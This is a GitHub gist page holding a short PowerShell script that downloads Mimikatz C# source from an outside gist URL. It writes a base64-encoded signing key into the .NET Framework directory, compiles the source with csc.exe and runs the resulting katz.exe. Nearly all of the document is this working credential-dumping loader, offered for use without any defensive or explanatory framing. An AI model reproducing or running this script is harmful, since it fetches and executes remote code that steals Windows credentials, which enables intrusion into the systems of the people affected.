Skip to content

Instantly share code, notes, and snippets.

@Dviros

Dviros/mimi.ps1

Last active March 13, 2019 08:46
Show Gist options
  • Save Dviros/a5bfba0c89db1d66d2095d1d22b29e1d to your computer and use it in GitHub Desktop.
Save Dviros/a5bfba0c89db1d66d2095d1d22b29e1d to your computer and use it in GitHub Desktop.
Download ZIP
.Net Framework v4 - Mimikatz (2.1.1)
Raw
mimi.ps1
#### Mimikatz .Net v4 (2.1.1)
#### Many thanks to Casey Smith, Ridter, pljoel
###########################################################
$url = "https://gist.github.com/Ridter/397db5d672bd273e785f117715574319/raw/13966117e4ba13be5da0c4dc44ac9ebfd61fe22a/katz.cs"
$NetFolder = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319"
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQC1fii/8MpR5WWVlm8Kakos38ov4mWNnAo03veCOsKA+3GYGXErc+zo7MlCMr9U5Jx74CzxT9JC73xRwTOBr6qLk1o2UxwyqIJtG6eCH5OprcbaFitqtssE2Kpt2g9OrhQXWl5Kl8mIhyaEJket7xyeSv4i/+D95Crs+e8WkNd4vz/vUp+DdJITNg4emFMssabfRPmzvPPZPYhbwo17VjlMosx744WMWwjmgjdrLPORJtks1M8a8swS5Ztk2bBT1ekLCRGnJZpnn21EmJsC0O66LX1KNIYZB+GGQJUXSJzL0AqtCf8HxlR2m6dYlwFGI/uWSImt3J80EjXcEUWefZ/RR5id2a3TNk18jjZ1k5043iGNRXklBBQPqeAIN+BgRiRHkGZ74+DeAP5nF/kJF8qZFlWFkqcBBwlLrOedlbOMY0G/whw01ikB9gwyYqaapat1zzN3Z/PslVc4d2qCCPwoabWbiqhNyA/JTvcjhNI3cPOjgJ9EdBToawuMMdkQxp+LbXP3nn6U0uuLMilaT7YZx4wjp3Za79hntfetMGxzgOXdSgChnahletxNbK3w8LV56ZOrphX7WRdeMWAJhZODhbIVAufs2A3yGIOOZCQoqpXPIM6ZL8NH38Y6iVSrgibvduRjPFvhjfLLOHbz1ljeEYV6rkFLZcsTG4kj7Pn/lHWjHD+GJVwdcwGeLibt2QJZ10YD1XA+PoQl7O02vu0gzA9FOeZC/UW8BKfbOWG0IXWNlIGkBSOpLRakcao60Lw='
$Content = [System.Convert]::FromBase64String($key)
cd $NetFolder
New-Item key.snk -ItemType file
Set-Content key.snk -Value $Content -Encoding Byte
Invoke-WebRequest -Uri $url -OutFile $NetFolder\katz.cs
.\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /keyfile:key.snk /unsafe $NetFolder\katz.cs
.\katz.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment